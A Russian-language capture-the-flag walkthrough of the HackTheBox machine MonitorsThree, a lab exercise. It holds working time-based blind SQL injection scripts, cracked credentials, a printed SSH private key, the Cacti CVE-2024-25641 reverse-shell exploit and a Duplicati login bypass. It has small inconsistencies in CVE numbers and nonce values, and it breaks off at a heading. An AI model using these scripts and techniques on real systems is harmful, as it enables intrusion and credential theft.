> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md).

# Разбор MonitorsThree на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/622>" %}

{% hint style="warning" %}
**Навыки:**

* Перечисление поддоменов
* SQLI — ручная слепая инъекция по времени (Python-скриптинг)
* Взлом хэшей
* Эксплуатация Cacti (CVE-2024-25642) — вредоносный импорт пакета
* Утечка информации
* Эксплуатация внутреннего сервиса — Duplicati
* Злоупотребление Duplicati — обход аутентификации входа с помощью серверной парольной фразы
* Duplicati — создание резервной копии для привилегированного чтения и записи файлов (повышение привилегий)
  {% endhint %}

## Разведка <a href="#reconnaissance" id="reconnaissance"></a>

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/14b693c20899145a4dfcfd7baf45867b6070e9fa" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/b21d7fbc9426606c4a147adc7b7855346976aefa" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.30 -oG allPorts
```

<figure><img src="/files/360195a5eca50ba50df2fdc1b017a39ff324c478" alt="" width="563"><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена.

<figure><img src="/files/5bf237f00177567abedf71f2b01cd7dbe797ae6d" alt="" width="563"><figcaption></figcaption></figure>

**Сканирование версий портов с Nmap:**

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p80,22 10.10.11.30 -oN targeted
```

<figure><img src="/files/f881c4b6d390d0943d848c7ae21c15c94b55c221" alt=""><figcaption></figcaption></figure>

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл

<figure><img src="/files/f45ee854439c8b97a584ea6a69dbf885ea9a0daa" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/26e23a98a7b6b095b237909fbb956b040f8be8c1" alt=""><figcaption></figcaption></figure>

### Список каталогов:

**Только поиск** каталоги

```bash
gobuster dir -u http://monitorsthree.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

<figure><img src="/files/67cc2f4a75de933216867a7939cbf5b1d7d7fb7e" alt=""><figcaption></figcaption></figure>

/*/* Поиск файлов с определёнными расширениями (PHP, HTML, TXT) в каталоге admin:/*/*

```bash
gobuster dir -u http://monitorsthree.htb/admin/ -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -t 50 -b '' -x html,php,txt -s 200
```

Мы находим `файл db.php` но он не содержит никаких данных.

<figure><img src="/files/edabefbff89152ba1dd36be30d55e6253fdf6e89" alt=""><figcaption></figcaption></figure>

## SQL-инъекция

#### Обнаружение уязвимости

Мы выявили SQL-уязвимость в функции "Забыли пароль". Для подтверждения уязвимости была использована следующая полезная нагрузка:

```sql
admin' or 1=1-- -
```

<figure><img src="/files/ee1b8aa4c63346cfe81ddb61aab0e3aa89dd4fb1" alt=""><figcaption></figcaption></figure>

#### Подтверждение уязвимости с помощью атаки по времени

Для подтверждения уязвимости мы использовали SQL-атаку по времени:

```sql
admin' and sleep(5)-- -
```

Ответ занял 5 секунд, тем самым подтвердив уязвимость.

<figure><img src="/files/53c64399a248380e88b1757f40e863ebe1238009" alt=""><figcaption></figcaption></figure>

## **SQL-инъекция — по времени**

#### Автоматизация эксплуатации с помощью Python-скрипта

Мы разработали Python-скрипт для автоматизации извлечения данных через SQL-инъекцию. Скрипт извлекал имя базы данных, имена таблиц, столбцы и, наконец, чувствительные данные, такие как имена пользователей и пароли.

### База данных:

**Пример скрипта для извлечения имени базы данных:**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1
```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Конфигурация журналирования
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Выход.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info("Начало атаки SQL-инъекцией...")
    
    for position in range(1, 100):
        character_found = False  # Индикатор для проверки, найден ли символ
        
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            
            logger.debug(f"Проверка: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Запрос не удался: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Извлечённые данные на данный момент: {extracted_data}")
                character_found = True  # Символ найден
                break
        
        # Если для этой позиции символ не найден, остановить цикл
        if not character_found:
            logger.info(f"Для позиции {position} символ не найден. Завершение извлечения.")
            break
    
    logger.info("SQL-инъекция завершена!")
    logger.info(f"Окончательно извлечённые данные: {extracted_data}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Выполнить атаку SQL-инъекцией по времени.")
    parser.add_argument("--url", required=True, help="Целевой URL для SQL-инъекции")
    parser.add_argument("--delay", type=float, default=0.85, help="Задержка для SQL-инъекции")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Имя базы данных**: `monitorsthree_db`

<figure><img src="/files/8b0fec855eca523b790db06e2918801066a45680" alt=""><figcaption></figcaption></figure>

### **Базы данных:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Конфигурация журналирования
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Выход.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Извлечение имени базы данных со смещением {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Индикатор для проверки, найден ли символ
        
        for character in characters:
            # Форматируем SQL-запрос со всеми необходимыми переменными
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Проверка: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Запрос не удался: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Извлечённые данные на данный момент: {extracted_data}")
                character_found = True  # Символ найден
                break
        
        # Если для этой позиции символ не найден, остановить цикл
        if not character_found:
            logger.info(f"Для позиции {position} символ не найден. Завершение извлечения.")
            break
    
    return extracted_data

def sqli(target_url, delay=1):
    # Запрос на извлечение имён баз данных
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    databases = []
    offset = 0
    
    while True:
        database_name = extract_data(target_url, delay, query_template, offset)
        
        if not database_name:
            logger.info("Других баз данных не найдено.")
            break
        
        databases.append(database_name)
        logger.info(f"Найдена база данных: {database_name}")
        offset += 1
    
    logger.info("SQL-инъекция завершена!")
    logger.info(f"Список баз данных: {databases}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Выполнить атаку SQL-инъекцией по времени.")
    parser.add_argument("--url", required=True, help="Целевой URL для SQL-инъекции")
    parser.add_argument("--delay", type=float, default=0.85, help="Задержка для SQL-инъекции")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="/files/70ce27b7ac833ee59742c4612e5a895d9fbc3f03" alt=""><figcaption></figcaption></figure>

### **Таблицы:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Конфигурация журналирования
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Выход.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Извлечение имени таблицы со смещением {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Индикатор для проверки, найден ли символ
        
        for character in characters:
            # Форматируем SQL-запрос со всеми необходимыми переменными
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Проверка: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Запрос не удался: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Извлечённые данные на данный момент: {extracted_data}")
                character_found = True  # Символ найден
                break
        
        # Если для этой позиции символ не найден, остановить цикл
        if not character_found:
            logger.info(f"Для позиции {position} символ не найден. Завершение извлечения.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # Запрос на извлечение имён таблиц из базы данных `monitorsthree_db`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    tables = []
    offset = 0
    
    while True:
        table_name = extract_data(target_url, delay, query_template, offset)
        
        if not table_name:
            logger.info("Других таблиц не найдено.")
            break
        
        tables.append(table_name)
        logger.info(f"Найдена таблица: {table_name}")
        offset += 1
    
    logger.info("SQL-инъекция завершена!")
    logger.info(f"Список таблиц в monitorsthree_db: {tables}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Выполнить атаку SQL-инъекцией по времени.")
    parser.add_argument("--url", required=True, help="Целевой URL для SQL-инъекции")
    parser.add_argument("--delay", type=float, default=0.85, help="Задержка для SQL-инъекции")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Таблицы** : `invoices`, `customers`, `changelog`, `tasks`, `invoice_tasks`, `users`

<figure><img src="/files/b3d541c7e89a5cde02996fcfd6ded8647bd630a7" alt=""><figcaption></figcaption></figure>

### **Столбцы:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Конфигурация журналирования
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Выход.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Извлечение имени столбца со смещением {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Индикатор для проверки, найден ли символ
        
        for character in characters:
            # Форматируем SQL-запрос со всеми необходимыми переменными
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Проверка: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Запрос не удался: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Извлечённые данные на данный момент: {extracted_data}")
                character_found = True  # Символ найден
                break
        
        # Если для этой позиции символ не найден, остановить цикл
        if not character_found:
            logger.info(f"Для позиции {position} символ не найден. Завершение извлечения.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # Запрос на извлечение имён столбцов из таблицы `users`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    columns = []
    offset = 0
    
    while True:
        column_name = extract_data(target_url, delay, query_template, offset)
        
        if not column_name:
            logger.info("Других столбцов не найдено.")
            break
        
        columns.append(column_name)
        logger.info(f"Найден столбец: {column_name}")
        offset += 1
    
    logger.info("SQL-инъекция завершена!")
    logger.info(f"Список столбцов в таблице 'users': {columns}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Выполнить атаку SQL-инъекцией по времени.")
    parser.add_argument("--url", required=True, help="Целевой URL для SQL-инъекции")
    parser.add_argument("--delay", type=float, default=0.85, help="Задержка для SQL-инъекции")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Столбцы в `users` таблице**: `id`, `username`, `email`, `пароль`, `name`, `позиция`, `dob`, `start_date`, `salary`

<figure><img src="/files/f75c89d0b4b3812503b618548c42ef2c05432376" alt=""><figcaption></figcaption></figure>

### **Извлечённые данные**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Конфигурация журналирования
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Выход.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Извлечение данных со смещением {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Индикатор для проверки, найден ли символ
        
        for character in characters:
            # Форматируем SQL-запрос со всеми необходимыми переменными
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Проверка: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Запрос не удался: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Извлечённые данные на данный момент: {extracted_data}")
                character_found = True  # Символ найден
                break
        
        # Если для этой позиции символ не найден, остановить цикл
        if not character_found:
            logger.info(f"Для позиции {position} символ не найден. Завершение извлечения.")
            break
    
    return extracted_data

def extract_credentials(target_url, delay=0.85):
    # Запрос на извлечение имён пользователей
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    # Запрос на извлечение паролей
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    credentials = []
    offset = 0
    
    while True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        
        if not username or not password:
            logger.info("Другие учётные данные не найдены.")
            break
        
        credentials.append((username, password))
        logger.info(f"Найдены учётные данные: {username}:{password}")
        offset += 1
    
    logger.info("SQL-инъекция завершена!")
    logger.info(f"Список учётных данных: {credentials}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Выполнить атаку SQL-инъекцией по времени для извлечения учётных данных.")
    parser.add_argument("--url", required=True, help="Целевой URL для SQL-инъекции")
    parser.add_argument("--delay", type=float, default=0.85, help="Задержка для SQL-инъекции")
    
    args = parser.parse_args()
    
    extract_credentials(args.url, args.delay)
```

<figure><img src="/files/fe56b0f4ed695d88e103230044fa930b38344008" alt=""><figcaption></figcaption></figure>

* `admin:31a181c8372e3afc59dab863430610e8`
* `mwatson:c585d01f2eb3e6e1073e92023088a3dd`
* `janderson:1e68b6eb86b45f6d92f8f292428f77ac`
* `dthompson:633b683cc128fe244b00f176c8a950f5`

## Взлом паролей

{% embed url="<https://crackstation.net/>" %}

Мы использовали **CrackStation** для взлома хэшей паролей. Были получены следующие учётные данные:

<figure><img src="/files/f619c828bd897a045589a54b428157a5237dad83" alt=""><figcaption></figcaption></figure>

**Идентификаторы:**

* Пользователь: `admin`
* Пароль: `greencacti2001`

<figure><img src="/files/f6b20eec9f9a02eec9f721cf88a4e51b6b596dc7" alt=""><figcaption></figcaption></figure>

### /*/* Список поддоменов:/*/*

Используя команду Gobuster для перечисления поддоменов:

```bash
gobuster vhost -u http://monitorsthree.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
```

Мы находим `cacti.monitorsthree.htb` поддомен.

<figure><img src="/files/32314ecb04a390b64acf9df53080260df62fc5cc" alt=""><figcaption></figcaption></figure>

Мы добавляем эту запись в `/etc/hosts`.

<figure><img src="/files/26aa2879fa2b271badec8a260a3e1e104243e2d7" alt=""><figcaption></figcaption></figure>

**Доступ к панели подключения Cacti:**

Панель подключения Cacti версии 1.2.26 доступна на этом поддомене. С `admin:greencacti2001` учётными данными нам удаётся подключиться.

<figure><img src="/files/9b2bf42f390c56fd3e33f649514649deede68ebd" alt=""><figcaption></figcaption></figure>

## Эксплуатация уязвимости RCE в Cacti <a href="#cacti-rce-vulnerability-exploitation" id="cacti-rce-vulnerability-exploitation"></a>

{% embed url="<https://github.com/5ma1l/CVE-2024-25641>" %}

Чтобы эксплуатировать уязвимость NCE в Cacti, мы изменим PHP-файл и запустим эксплуатационный скрипт:

<figure><img src="/files/0fc5fe4baffa8552ca2e063039e3ce275a947dd4" alt=""><figcaption></figcaption></figure>

Этот скрипт создаёт сжатый файл, содержащий PHP-пейлоад, который будет внедрён на целевой сервер, что позволит нам получить обратную оболочку.

{% code overflow="wrap" fullWidth="false" %}

```bash
python3 exploit.py http://cacti.monitorsthree.htb/cacti/ admin greencacti2001 -p php/monkey.php
```

{% endcode %}

<div data-full-width="true"><figure><img src="/files/2e41e1ccfda1206215358de05f71a4225fe2e527" alt=""><figcaption></figcaption></figure></div>

## **Повышение привилегий:**

Исследуя `/var/www/html` веб-каталоге, мы находим файлы базы данных в `cacti` папке, включая `config.php` файл конфигурации, расположенный в `/var/www/html/cacti/include/config.php`.

Выдержки из `config.php`:

```php
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
```

<figure><img src="/files/6ab3e4af5d5c5ec7faf78d79af4cf1d8873e18fb" alt=""><figcaption></figcaption></figure>

Затем мы выводим список пользователей в `user_auth` таблице `cacti` в базе данных:

<figure><img src="/files/b4a64c641d7c0a874a52c6c5dc6919e79fd06f19" alt=""><figcaption></figcaption></figure>

```sql
Select * from user_auth
```

<div data-full-width="true"><figure><img src="/files/d19b9eb221d90d589b1b71205c1a1d96a25d19de" alt=""><figcaption></figcaption></figure></div>

Мы используем `john` для взлома восстановленных паролей:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Это выявляет `marcus` пароль пользователя: `12345678910`.

<figure><img src="/files/42115d5b3ed7a1002d60aaf6d17ae854bfd0d743" alt=""><figcaption></figcaption></figure>

### Флаг user.txt :)

<figure><img src="/files/e321d01fa198f75933e5f6731bcac6f0e01505af" alt=""><figcaption></figcaption></figure>

После этого шага мы также получаем `marcus` SSH-ключ пользователя:

<figure><img src="/files/fc26e1c12d6e7a806125816f2db012c0a7ba2fba" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

Сначала мы посмотрим, какие порты открыты внутри, с помощью следующей команды:

```bash
netstat -nltp
```

<figure><img src="/files/9c8198c5d0df3da3d371ecb3fa45c4f7c2d0e13a" alt="" width="563"><figcaption></figcaption></figure>

Мы перенаправим внутренний порт **8200** с сервера на нашу локальную машину, чтобы получить доступ к нему через браузер. Это перенаправление можно выполнить по SSH с помощью следующей команды:

```bash
ssh -i id_rsa -L 8200:127.0.0.1:8200 marcus@10.10.11.30 -N
```

## Эксплуатация Duplicati:

### Обход аутентификации входа в Duplicati

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

В ходе анализа целевой машины был обнаружен **Duplicati** веб-портал. На этом портале была панель аутентификации, запрашивающая пароль.

<figure><img src="/files/5a8e68d0075e5d98e568e1cf0443c9b1d534d7eb" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicati — это клиент резервного копирования, который безопасно хранит зашифрованные, инкрементальные и сжатые удалённые резервные копии локальных файлов в облачных хранилищах и на файловых серверах
{% endhint %}

Исследуя систему, каталог конфигурации Duplicati был найден `/opt/duplicati`. Был обнаружен SQLite-файл под названием `Duplicati-server.sqlite` который, как предполагается, может содержать конфиденциальную информацию.

<figure><img src="/files/1ebb6fc5c113573a16715df197602f8e59898da6" alt=""><figcaption></figcaption></figure>

#### Скачать файл SQLite

Чтобы проанализировать этот файл, его скачали на нашу локальную машину с помощью Python HTTP-сервера:

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="/files/8f147206faa69b466ab2e55c6069d0faa9882545" alt=""><figcaption></figcaption></figure>

#### Анализ файла SQLite

Файл был открыт с помощью `sqlite3` инструмента для просмотра его содержимого:

```bash
sqlite3 Duplicati-server.sqlite
```

Были перечислены таблицы, и `таблицу` таблица была выбрана для извлечения данных:

```sql
.tables
select * from option;
```

<figure><img src="/files/cd637cd349b27a91516396a6e1ceea3e5936f222" alt=""><figcaption></figcaption></figure>

| Ключ                              | Значение                                       |
| --------------------------------- | ---------------------------------------------- |
| `server-passphrase`               | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `server-passphrase-salt`          | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `server-passphrase-trayicon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### Преобразование парольной фразы

Значение `server-passphrase` закодировано в Base64. Чтобы декодировать и преобразовать его в шестнадцатеричный формат, используется следующая команда:

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

<figure><img src="/files/0461bde659f3027f586e103f6326e9c2872b7b08" alt=""><figcaption></figcaption></figure>

#### Это дало следующее шестнадцатеричное значение:

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### Вычисление итогового пароля

Для генерации итогового пароля в консоли браузера были выполнены следующие шаги:

**Определение passphrase с солью**:

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### Перехват запроса с помощью Burp Suite

Мы перехватываем запрос и отправляем его в do intercept -> answer to this request, а затем нажимаем Forward.

<figure><img src="/files/cf8b330904c7cdc24a5a31325ad7e81819c28f79" alt=""><figcaption></figcaption></figure>

HTTP-запрос был перехвачен с помощью **Burp Suite** что раскрыло следующую информацию:

<figure><img src="/files/fa641c5abdce0d32682fae52ecc9533a69a0fbb9" alt=""><figcaption></figcaption></figure>

```json
{
  "Статус": "OK",
  "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
```

Поле `Соль` соответствует значению `server-passphrase-salt` извлечённому из базы данных

**Вычисление пароля nonce:**

{% code overflow="wrap" %}

```javascript
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**Отображение результата**:

```javascript
console.log(noncedpwd);
```

<figure><img src="/files/b818ddd22f574fb9ab7df883fd58eba63c8a38b1" alt=""><figcaption></figcaption></figure>

Сгенерированный пароль (`noncedpwd`) равен:

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### Ввод пароля и выполнение

